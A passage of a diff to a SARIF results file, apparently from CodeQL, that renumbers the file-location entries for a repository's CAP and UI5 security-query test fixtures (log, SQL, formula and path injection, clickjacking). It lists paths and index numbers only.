+        "uriBaseId" : "%SRCROOT%",
+        "index" : 15
+      }
+    }, {
+      "location" : {
+        "uri" : ".github/workflows/code_scanning.yml",
+        "uriBaseId" : "%SRCROOT%",
+        "index" : 16
+      }
+    }, {
+      "location" : {
+        "uri" : ".github/workflows/run-codeql-unit-tests-javascript.yml",
+        "uriBaseId" : "%SRCROOT%",
+        "index" : 17
+      }
+    }, {
+      "location" : {
+        "uri" : "codeql-workspace.yml",
+        "uriBaseId" : "%SRCROOT%",
+        "index" : 18
+      }
+    }, {
+      "location" : {
+        "uri" : "javascript/frameworks/cap/lib/codeql-pack.lock.yml",
+        "uriBaseId" : "%SRCROOT%",
+        "index" : 19
+      }
+    }, {
+      "location" : {
+        "uri" : "javascript/frameworks/cap/lib/qlpack.yml",
+        "uriBaseId" : "%SRCROOT%",
+        "index" : 20
+      }
+    }, {
+      "location" : {
+        "uri" : "javascript/frameworks/cap/src/qlpack.yml",
+        "uriBaseId" : "%SRCROOT%",
+        "index" : 21
+      }
+    }, {
+      "location" : {
+        "uri" : "javascript/frameworks/cap/src/codeql-pack.lock.yml",
+        "uriBaseId" : "%SRCROOT%",
+        "index" : 22
+      }
+    }, {
+      "location" : {
+        "uri" : "javascript/frameworks/cap/test/codeql-pack.lock.yml",
+        "uriBaseId" : "%SRCROOT%",
+        "index" : 23
+      }
+    }, {
+      "location" : {
+        "uri" : "javascript/frameworks/cap/test/qlpack.yml",
+        "uriBaseId" : "%SRCROOT%",
+        "index" : 24
+      }
+    }, {
+      "location" : {
+        "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-not-depending-on-request/db/schema.json",
+        "uriBaseId" : "%SRCROOT%",
+        "index" : 25
+      }
+    }, {
+      "location" : {
+        "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-not-depending-on-request/package.json",
+        "uriBaseId" : "%SRCROOT%",
+        "index" : 26
+      }
+    }, {
+      "location" : {
+        "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-not-depending-on-request/server.js",
+        "uriBaseId" : "%SRCROOT%",
+        "index" : 27
+      }
+    }, {
+      "location" : {
+        "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-not-depending-on-request/srv/service1.js",
+        "uriBaseId" : "%SRCROOT%",
+        "index" : 28
+      }
+    }, {
+      "location" : {
+        "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-not-depending-on-request/srv/service1.json",
+        "uriBaseId" : "%SRCROOT%",
+        "index" : 29
+      }
+    }, {
+      "location" : {
+        "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-not-depending-on-request/srv/service2.js",
+        "uriBaseId" : "%SRCROOT%",
+        "index" : 30
+      }
+    }, {
+      "location" : {
+        "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-not-depending-on-request/srv/service2.json",
+        "uriBaseId" : "%SRCROOT%",
+        "index" : 31
+      }
+    }, {
+      "location" : {
+        "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-with-complete-protocol-none/db/schema.json",
+        "uriBaseId" : "%SRCROOT%",
+        "index" : 32
+      }
+    }, {
+      "location" : {
+        "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-with-complete-protocol-none/server.js",
+        "uriBaseId" : "%SRCROOT%",
+        "index" : 33
+      }
+    }, {
+      "location" : {
+        "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-with-complete-protocol-none/package.json",
+        "uriBaseId" : "%SRCROOT%",
+        "index" : 34
+      }
+    }, {
+      "location" : {
+        "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-with-complete-protocol-none/srv/service1.json",
+        "uriBaseId" : "%SRCROOT%",
+        "index" : 35
+      }
+    }, {
+      "location" : {
+        "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-with-complete-protocol-none/srv/service2.js",
+        "uriBaseId" : "%SRCROOT%",
+        "index" : 36
+      }
+    }, {
+      "location" : {
+        "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-with-complete-protocol-none/srv/service1.js",
+        "uriBaseId" : "%SRCROOT%",
+        "index" : 37
+      }
+    }, {
+      "location" : {
+        "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-with-service1-protocol-none/db/schema.json",
+        "uriBaseId" : "%SRCROOT%",
+        "index" : 38
+      }
+    }, {
+      "location" : {
+        "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-with-complete-protocol-none/srv/service2.json",
+        "uriBaseId" : "%SRCROOT%",
+        "index" : 39
+      }
+    }, {
+      "location" : {
+        "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-with-service1-protocol-none/package.json",
+        "uriBaseId" : "%SRCROOT%",
+        "index" : 40
+      }
+    }, {
+      "location" : {
+        "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-with-service1-protocol-none/srv/service1.js",
+        "uriBaseId" : "%SRCROOT%",
+        "index" : 41
+      }
+    }, {
+      "location" : {
+        "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-with-service1-protocol-none/server.js",
+        "uriBaseId" : "%SRCROOT%",
+        "index" : 42
+      }
+    }, {
+      "location" : {
+        "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-with-service1-protocol-none/srv/service2.js",
+        "uriBaseId" : "%SRCROOT%",
+        "index" : 43
+      }
+    }, {
+      "location" : {
+        "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-with-service1-protocol-none/srv/service1.json",
+        "uriBaseId" : "%SRCROOT%",
+        "index" : 44
+      }
+    }, {
+      "location" : {
+        "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-with-service1-protocol-none/srv/service2.json",
+        "uriBaseId" : "%SRCROOT%",
+        "index" : 45
+      }
+    }, {
+      "location" : {
+        "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-with-service2-protocol-none/db/schema.json",
+        "uriBaseId" : "%SRCROOT%",
+        "index" : 46
+      }
+    }, {
+      "location" : {
+        "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-with-service2-protocol-none/package.json",
+        "uriBaseId" : "%SRCROOT%",
+        "index" : 47
+      }
+    }, {
+      "location" : {
+        "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-with-service2-protocol-none/server.js",
+        "uriBaseId" : "%SRCROOT%",
+        "index" : 48
+      }
+    }, {
+      "location" : {
+        "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-with-service2-protocol-none/srv/service1.js",
+        "uriBaseId" : "%SRCROOT%",
+        "index" : 49
+      }
+    }, {
+      "location" : {
+        "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-with-service2-protocol-none/srv/service1.json",
+        "uriBaseId" : "%SRCROOT%",
+        "index" : 50
+      }
+    }, {
+      "location" : {
+        "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-with-service2-protocol-none/srv/service2.js",
+        "uriBaseId" : "%SRCROOT%",
+        "index" : 51
+      }
+    }, {
+      "location" : {
+        "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-with-service2-protocol-none/srv/service2.json",
+        "uriBaseId" : "%SRCROOT%",
+        "index" : 52
+      }
+    }, {
+      "location" : {
+        "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-without-protocol-none/package.json",
+        "uriBaseId" : "%SRCROOT%",
+        "index" : 53
+      }
+    }, {
+      "location" : {
+        "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-without-protocol-none/db/schema.json",
+        "uriBaseId" : "%SRCROOT%",
+        "index" : 54
+      }
+    }, {
+      "location" : {
+        "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-without-protocol-none/server.js",
+        "uriBaseId" : "%SRCROOT%",
+        "index" : 55
+      }
+    }, {
+      "location" : {
+        "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-without-protocol-none/srv/service1.js",
+        "uriBaseId" : "%SRCROOT%",
+        "index" : 56
+      }
+    }, {
+      "location" : {
+        "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-without-protocol-none/srv/service1.json",
+        "uriBaseId" : "%SRCROOT%",
+        "index" : 57
+      }
+    }, {
+      "location" : {
+        "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-without-protocol-none/srv/service2.js",
+        "uriBaseId" : "%SRCROOT%",
+        "index" : 58
+      }
+    }, {
+      "location" : {
+        "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-without-protocol-none/srv/service2.json",
+        "uriBaseId" : "%SRCROOT%",
+        "index" : 59
+      }
+    }, {
+      "location" : {
+        "uri" : "javascript/frameworks/cap/test/queries/sqlinjection/sample-app/package.json",
+        "uriBaseId" : "%SRCROOT%",
+        "index" : 60
+      }
+    }, {
+      "location" : {
+        "uri" : "javascript/frameworks/cap/test/queries/sqlinjection/sample-app/server.js",
+        "uriBaseId" : "%SRCROOT%",
+        "index" : 61
+      }
+    }, {
+      "location" : {
+        "uri" : "javascript/frameworks/cap/test/queries/sqlinjection/sample-app/srv/Service1.js",
+        "uriBaseId" : "%SRCROOT%",
+        "index" : 62
+      }
+    }, {
+      "location" : {
+        "uri" : "javascript/frameworks/cap/test/queries/sqlinjection/sample-app/srv/Service2.js",
+        "uriBaseId" : "%SRCROOT%",
+        "index" : 63
+      }
+    }, {
+      "location" : {
+        "uri" : "javascript/frameworks/ui5/lib/qlpack.yml",
+        "uriBaseId" : "%SRCROOT%",
+        "index" : 64
+      }
+    }, {
+      "location" : {
+        "uri" : "javascript/frameworks/ui5/lib/codeql-pack.lock.yml",
+        "uriBaseId" : "%SRCROOT%",
+        "index" : 65
+      }
+    }, {
+      "location" : {
+        "uri" : "javascript/frameworks/ui5/src/codeql-pack.lock.yml",
+        "uriBaseId" : "%SRCROOT%",
+        "index" : 66
+      }
+    }, {
+      "location" : {
+        "uri" : "javascript/frameworks/ui5/src/qlpack.yml",
+        "uriBaseId" : "%SRCROOT%",
+        "index" : 67
+      }
+    }, {
+      "location" : {
+        "uri" : "javascript/frameworks/ui5/test/codeql-pack.lock.yml",
+        "uriBaseId" : "%SRCROOT%",
+        "index" : 68
+      }
+    }, {
+      "location" : {
+        "uri" : "javascript/frameworks/ui5/test/lib/Bindings/test.html",
+        "uriBaseId" : "%SRCROOT%",
+        "index" : 69
+      }
+    }, {
+      "location" : {
+        "uri" : "javascript/frameworks/ui5/test/lib/BindingStringParser/test.js",
+        "uriBaseId" : "%SRCROOT%",
+        "index" : 70
+      }
+    }, {
+      "location" : {
+        "uri" : "javascript/frameworks/ui5/test/lib/Bindings/test.js",
+        "uriBaseId" : "%SRCROOT%",
+        "index" : 71
+      }
+    }, {
+      "location" : {
+        "uri" : "javascript/frameworks/ui5/test/lib/Bindings/test.json",
+        "uriBaseId" : "%SRCROOT%",
+        "index" : 72
+      }
+    }, {
+      "location" : {
+        "uri" : "javascript/frameworks/ui5/test/lib/Bindings/test.xml",
+        "uriBaseId" : "%SRCROOT%",
+        "index" : 73
+      }
+    }, {
+      "location" : {
+        "uri" : "javascript/frameworks/ui5/test/lib/JsonParser/test.js",
+        "uriBaseId" : "%SRCROOT%",
+        "index" : 74
+      }
+    }, {
+      "location" : {
+        "uri" : "javascript/frameworks/ui5/test/models/binding_path/binding1.xml",
+        "uriBaseId" : "%SRCROOT%",
+        "index" : 75
+      }
+    }, {
+      "location" : {
+        "uri" : "javascript/frameworks/ui5/test/models/binding_path/bindingComposite.xml",
+        "uriBaseId" : "%SRCROOT%",
+        "index" : 76
+      }
+    }, {
+      "location" : {
+        "uri" : "javascript/frameworks/ui5/test/models/multiple_models/webapp/view/app.view.xml",
         "uriBaseId" : "%SRCROOT%",
-        "index" : 40
+        "index" : 77
+      }
+    }, {
+      "location" : {
+        "uri" : "javascript/frameworks/ui5/test/models/sink/sink1.xml",
+        "uriBaseId" : "%SRCROOT%",
+        "index" : 78
+      }
+    }, {
+      "location" : {
+        "uri" : "javascript/frameworks/ui5/test/models/source/source1.xml",
+        "uriBaseId" : "%SRCROOT%",
+        "index" : 79
       }
     }, {
       "location" : {
         "uri" : "javascript/frameworks/ui5/test/qlpack.yml",
         "uriBaseId" : "%SRCROOT%",
-        "index" : 41
+        "index" : 80
       }
     }, {
       "location" : {
         "uri" : "javascript/frameworks/ui5/test/queries/UI5Clickjacking/clickjacking-allow-all/index.html",
         "uriBaseId" : "%SRCROOT%",
-        "index" : 42
+        "index" : 81
       }
     }, {
       "location" : {
         "uri" : "javascript/frameworks/ui5/test/queries/UI5Clickjacking/clickjacking-allow-all/ui5.yaml",
         "uriBaseId" : "%SRCROOT%",
-        "index" : 43
+        "index" : 82
       }
     }, {
       "location" : {
         "uri" : "javascript/frameworks/ui5/test/queries/UI5Clickjacking/clickjacking-default-all/index.html",
         "uriBaseId" : "%SRCROOT%",
-        "index" : 44
+        "index" : 83
       }
     }, {
       "location" : {
         "uri" : "javascript/frameworks/ui5/test/queries/UI5Clickjacking/clickjacking-default-all/ui5.yaml",
         "uriBaseId" : "%SRCROOT%",
-        "index" : 45
+        "index" : 84
       }
     }, {
       "location" : {
         "uri" : "javascript/frameworks/ui5/test/queries/UI5Clickjacking/clickjacking-deny-all/index.html",
         "uriBaseId" : "%SRCROOT%",
-        "index" : 46
+        "index" : 85
       }
     }, {
       "location" : {
         "uri" : "javascript/frameworks/ui5/test/queries/UI5Clickjacking/clickjacking-deny-all/ui5.yaml",
         "uriBaseId" : "%SRCROOT%",
-        "index" : 47
+        "index" : 86
       }
     }, {
       "location" : {
         "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-custom-control-property-sanitized/package-lock.json",
         "uriBaseId" : "%SRCROOT%",
-        "index" : 48
+        "index" : 87
       }
     }, {
       "location" : {
         "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-custom-control-property-sanitized/package.json",
         "uriBaseId" : "%SRCROOT%",
-        "index" : 49
+        "index" : 88
       }
     }, {
       "location" : {
         "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-custom-control-property-sanitized/ui5.yaml",
         "uriBaseId" : "%SRCROOT%",
-        "index" : 50
+        "index" : 89
       }
     }, {
       "location" : {
         "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-custom-control-property-sanitized/webapp/control/xss.js",
         "uriBaseId" : "%SRCROOT%",
-        "index" : 51
+        "index" : 90
       }
     }, {
       "location" : {
         "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-custom-control-property-sanitized/webapp/controller/app.controller.js",
         "uriBaseId" : "%SRCROOT%",
-        "index" : 52
+        "index" : 91
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-custom-control-property-sanitized/webapp/index.js",
+        "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-custom-control-property-sanitized/webapp/index.html",
         "uriBaseId" : "%SRCROOT%",
-        "index" : 53
+        "index" : 92
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-custom-control-property-sanitized/webapp/manifest.json",
+        "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-custom-control-property-sanitized/webapp/index.js",
         "uriBaseId" : "%SRCROOT%",
-        "index" : 54
+        "index" : 93
       }
     }, {
       "location" : {
         "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-custom-control-property-sanitized/webapp/view/app.view.xml",
         "uriBaseId" : "%SRCROOT%",
-        "index" : 55
+        "index" : 94
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-custom-control-sanitized/package-lock.json",
+        "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-custom-control-property-sanitized/webapp/manifest.json",
         "uriBaseId" : "%SRCROOT%",
-        "index" : 56
+        "index" : 95
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-custom-control-sanitized/package.json",
+        "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-custom-control-sanitized/package-lock.json",
         "uriBaseId" : "%SRCROOT%",
-        "index" : 57
+        "index" : 96
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-custom-control-sanitized/ui5.yaml",
+        "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-custom-control-sanitized/package.json",
         "uriBaseId" : "%SRCROOT%",
-        "index" : 58
+        "index" : 97
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-custom-control-sanitized/webapp/control/xss.js",
+        "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-custom-control-sanitized/ui5.yaml",
         "uriBaseId" : "%SRCROOT%",
-        "index" : 59
+        "index" : 98
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-custom-control-property-sanitized/webapp/index.html",
+        "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-custom-control-sanitized/webapp/control/xss.js",
         "uriBaseId" : "%SRCROOT%",
-        "index" : 60
+        "index" : 99
       }
     }, {
       "location" : {
         "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-custom-control-sanitized/webapp/controller/app.controller.js",
         "uriBaseId" : "%SRCROOT%",
-        "index" : 61
+        "index" : 100
       }
     }, {
       "location" : {
         "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-custom-control-sanitized/webapp/index.html",
         "uriBaseId" : "%SRCROOT%",
-        "index" : 62
+        "index" : 101
       }
     }, {
       "location" : {
         "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-custom-control-sanitized/webapp/index.js",
         "uriBaseId" : "%SRCROOT%",
-        "index" : 63
+        "index" : 102
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-custom-control-sanitized/webapp/view/app.view.xml",
+        "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-custom-control-sanitized/webapp/manifest.json",
         "uriBaseId" : "%SRCROOT%",
-        "index" : 64
+        "index" : 103
       }
     }, {
       "location" : {
         "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-html-control-df/package-lock.json",
         "uriBaseId" : "%SRCROOT%",
-        "index" : 65
+        "index" : 104
       }
     }, {
       "location" : {
         "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-html-control-df/package.json",
         "uriBaseId" : "%SRCROOT%",
-        "index" : 66
+        "index" : 105
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-html-control-df/ui5.yaml",
+        "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-custom-control-sanitized/webapp/view/app.view.xml",
         "uriBaseId" : "%SRCROOT%",
-        "index" : 67
+        "index" : 106
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-html-control-df/webapp/controller/app.controller.js",
+        "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-html-control-df/ui5.yaml",
         "uriBaseId" : "%SRCROOT%",
-        "index" : 68
+        "index" : 107
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-custom-control-sanitized/webapp/manifest.json",
+        "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-html-control-df/webapp/controller/app.controller.js",
         "uriBaseId" : "%SRCROOT%",
-        "index" : 69
+        "index" : 108
       }
     }, {
       "location" : {
         "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-html-control-df/webapp/index.html",
         "uriBaseId" : "%SRCROOT%",
-        "index" : 70
-      }
-    }, {
-      "location" : {
-        "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-html-control-df/webapp/index.js",
-        "uriBaseId" : "%SRCROOT%",
-        "index" : 71
+        "index" : 109
       }
     }, {
       "location" : {
         "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-html-control-df/webapp/manifest.json",
         "uriBaseId" : "%SRCROOT%",
-        "index" : 72
+        "index" : 110
       }
     }, {
       "location" : {
         "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-html-control-df/webapp/view/app.view.xml",
         "uriBaseId" : "%SRCROOT%",
-        "index" : 73
+        "index" : 111
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-custom-control-property-sanitized/package-lock.json",
+        "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-html-control-df/webapp/index.js",
         "uriBaseId" : "%SRCROOT%",
-        "index" : 74
+        "index" : 112
       }
     }, {
       "location" : {
         "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-custom-control-property-sanitized/package.json",
         "uriBaseId" : "%SRCROOT%",
-        "index" : 75
+        "index" : 113
       }
     }, {
       "location" : {
         "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-custom-control-property-sanitized/ui5.yaml",
         "uriBaseId" : "%SRCROOT%",
-        "index" : 76
+        "index" : 114
       }
     }, {
       "location" : {
         "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-custom-control-property-sanitized/webapp/control/xss.js",
         "uriBaseId" : "%SRCROOT%",
-        "index" : 77
+        "index" : 115
       }
     }, {
       "location" : {
         "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-custom-control-property-sanitized/webapp/controller/app.controller.js",
         "uriBaseId" : "%SRCROOT%",
-        "index" : 78
+        "index" : 116
+      }
+    }, {
+      "location" : {
+        "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-custom-control-property-sanitized/package-lock.json",
+        "uriBaseId" : "%SRCROOT%",
+        "index" : 117
       }
     }, {
       "location" : {
         "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-custom-control-property-sanitized/webapp/index.html",
         "uriBaseId" : "%SRCROOT%",
-        "index" : 79
+        "index" : 118
       }
     }, {
       "location" : {
         "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-custom-control-property-sanitized/webapp/index.js",
         "uriBaseId" : "%SRCROOT%",
-        "index" : 80
+        "index" : 119
       }
     }, {
       "location" : {
         "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-custom-control-property-sanitized/webapp/manifest.json",
         "uriBaseId" : "%SRCROOT%",
-        "index" : 81
+        "index" : 120
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-custom-control-sanitized/package-lock.json",
+        "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-custom-control-property-sanitized/webapp/view/app.view.xml",
         "uriBaseId" : "%SRCROOT%",
-        "index" : 82
+        "index" : 121
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-custom-control-sanitized/package.json",
+        "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-custom-control-sanitized/package-lock.json",
         "uriBaseId" : "%SRCROOT%",
-        "index" : 83
+        "index" : 122
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-custom-control-sanitized/ui5.yaml",
+        "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-custom-control-sanitized/package.json",
         "uriBaseId" : "%SRCROOT%",
-        "index" : 84
+        "index" : 123
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-custom-control-sanitized/webapp/control/xss.js",
+        "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-custom-control-sanitized/ui5.yaml",
         "uriBaseId" : "%SRCROOT%",
-        "index" : 85
+        "index" : 124
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-custom-control-property-sanitized/webapp/view/app.view.xml",
+        "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-custom-control-sanitized/webapp/control/xss.js",
         "uriBaseId" : "%SRCROOT%",
-        "index" : 86
+        "index" : 125
       }
     }, {
       "location" : {
         "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-custom-control-sanitized/webapp/controller/app.controller.js",
         "uriBaseId" : "%SRCROOT%",
-        "index" : 87
+        "index" : 126
       }
     }, {
       "location" : {
         "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-custom-control-sanitized/webapp/index.html",
         "uriBaseId" : "%SRCROOT%",
-        "index" : 88
+        "index" : 127
       }
     }, {
       "location" : {
         "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-custom-control-sanitized/webapp/index.js",
         "uriBaseId" : "%SRCROOT%",
-        "index" : 89
+        "index" : 128
       }
     }, {
       "location" : {
         "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-custom-control-sanitized/webapp/manifest.json",
         "uriBaseId" : "%SRCROOT%",
-        "index" : 90
+        "index" : 129
       }
     }, {
       "location" : {
         "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-custom-control-sanitized/webapp/view/app.view.xml",
         "uriBaseId" : "%SRCROOT%",
-        "index" : 91
+        "index" : 130
       }
     }, {
       "location" : {
         "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-html-control-df/package-lock.json",
         "uriBaseId" : "%SRCROOT%",
-        "index" : 92
+        "index" : 131
       }
     }, {
       "location" : {
         "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-html-control-df/package.json",
         "uriBaseId" : "%SRCROOT%",
-        "index" : 93
+        "index" : 132
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-html-control-df/ui5.yaml",
+        "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-html-control-df/webapp/controller/app.controller.js",
         "uriBaseId" : "%SRCROOT%",
-        "index" : 94
+        "index" : 133
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-html-control-df/webapp/controller/app.controller.js",
+        "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-html-control-df/webapp/index.html",
         "uriBaseId" : "%SRCROOT%",
-        "index" : 95
+        "index" : 134
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-html-control-df/webapp/index.html",
+        "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-html-control-df/webapp/index.js",
         "uriBaseId" : "%SRCROOT%",
-        "index" : 96
+        "index" : 135
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-html-control-df/webapp/index.js",
+        "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-html-control-df/ui5.yaml",
         "uriBaseId" : "%SRCROOT%",
-        "index" : 97
+        "index" : 136
       }
     }, {
       "location" : {
         "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-html-control-df/webapp/manifest.json",
         "uriBaseId" : "%SRCROOT%",
-        "index" : 98
+        "index" : 137
       }
     }, {
       "location" : {
         "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-html-control-df/webapp/view/app.view.xml",
         "uriBaseId" : "%SRCROOT%",
-        "index" : 99
+        "index" : 138
       }
     }, {
       "location" : {
         "uri" : "javascript/frameworks/ui5/test/queries/UI5PathInjection/path-custom-control-property-sanitized/package-lock.json",
         "uriBaseId" : "%SRCROOT%",
-        "index" : 100
+        "index" : 139
       }
     }, {
       "location" : {
         "uri" : "javascript/frameworks/ui5/test/queries/UI5PathInjection/path-custom-control-property-sanitized/package.json",
         "uriBaseId" : "%SRCROOT%",
-        "index" : 101
+        "index" : 140
       }
     }, {
       "location" : {
         "uri" : "javascript/frameworks/ui5/test/queries/UI5PathInjection/path-custom-control-property-sanitized/ui5.yaml",
         "uriBaseId" : "%SRCROOT%",
-        "index" : 102
+        "index" : 141
       }
     }, {
       "location" : {
         "uri" : "javascript/frameworks/ui5/test/queries/UI5PathInjection/path-custom-control-property-sanitized/webapp/control/xss.js",
         "uriBaseId" : "%SRCROOT%",
-        "index" : 103
+        "index" : 142
       }
     }, {
       "location" : {
         "uri" : "javascript/frameworks/ui5/test/queries/UI5PathInjection/path-custom-control-property-sanitized/webapp/controller/app.controller.js",
         "uriBaseId" : "%SRCROOT%",
-        "index" : 104
+        "index" : 143
       }
     }, {
       "location" : {
         "uri" : "javascript/frameworks/ui5/test/queries/UI5PathInjection/path-custom-control-property-sanitized/webapp/index.html",
         "uriBaseId" : "%SRCROOT%",
-        "index" : 105
+        "index" : 144
       }
     }, {
       "location" : {
         "uri" : "javascript/frameworks/ui5/test/queries/UI5PathInjection/path-custom-control-property-sanitized/webapp/index.js",
         "uriBaseId" : "%SRCROOT%",
-        "index" : 106
+        "index" : 145
       }
     }, {
       "location" : {
         "uri" : "javascript/frameworks/ui5/test/queries/UI5PathInjection/path-custom-control-property-sanitized/webapp/manifest.json",
         "uriBaseId" : "%SRCROOT%",
-        "index" : 107
+        "index" : 146
       }
     }, {
       "location" : {
         "uri" : "javascript/frameworks/ui5/test/queries/UI5PathInjection/path-custom-control-property-sanitized/webapp/view/app.view.xml",
         "uriBaseId" : "%SRCROOT%",
-        "index" : 108
+        "index" : 147
+      }
+    }, {
+      "location" : {
+        "uri" : "javascript/frameworks/ui5/test/queries/UI5PathInjection/path-custom-control-sanitized/package-lock.json",
